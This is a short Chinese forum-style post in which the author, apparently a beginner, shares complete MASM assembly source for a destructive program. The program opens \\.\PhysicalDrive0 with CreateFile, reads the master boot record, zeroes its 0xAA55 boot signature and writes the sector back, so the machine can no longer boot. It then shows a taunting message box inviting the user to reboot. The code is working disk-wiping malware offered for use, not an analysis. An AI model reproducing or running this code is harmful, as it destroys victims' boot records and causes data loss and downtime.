在网上闲逛发现有前人在网上发的资料 说用CreateFile就可以读写MBR
以前总以为这么重要的东西Windows不会让人碰 让动的话起码得有Ring0权限
在网上问了下果然好多人说不可以改写MBR必须要提高权限或者改写驱动
本人菜鸟还没有到写驱动的能力 用前人的资料试了下果然可以改写
看来不能光听别人说还得身体力行才行
下面附上本人写的一个小程序源码 破坏MBR最后的结束标志0AA55h
代码:
.386 .model flat, stdcall option casemap: none include windows.inc include user32.inc includelib user32.lib include kernel32.inc includelib kernel32.lib .data szFileName db '\\.\PhysicalDrive0', 0 szCaption db 'Made By ZuChen', 0 szText db '呵呵,重启下计算机看看有什么精彩的发现', 0dh, 0ah db '如果不能解决可以来找我哦', 0 .data? hDriver dd ? szReadBuffer db 512 dup (?) dwBytesRead dd ? .code start: invoke CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE, \ FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL mov hDriver, eax .if hDriver == INVALID_HANDLE_VALUE invoke ExitProcess, NULL .endif invoke ReadFile, hDriver, addr szReadBuffer,\ sizeof szReadBuffer, addr dwBytesRead, 0 .if eax == 0 invoke ExitProcess, NULL .endif invoke CloseHandle, hDriver invoke CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE, \ FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL mov hDriver, eax mov byte ptr [szReadBuffer + 510], 00h mov byte ptr [szReadBuffer + 511], 00h invoke WriteFile, hDriver, addr szReadBuffer,\ sizeof szReadBuffer, addr dwBytesRead, 0 .if eax == 0 invoke ExitProcess, NULL .endif invoke CloseHandle, hDriver invoke MessageBox, NULL, offset szText, offset szCaption, MB_OK invoke ExitProcess, NULL end start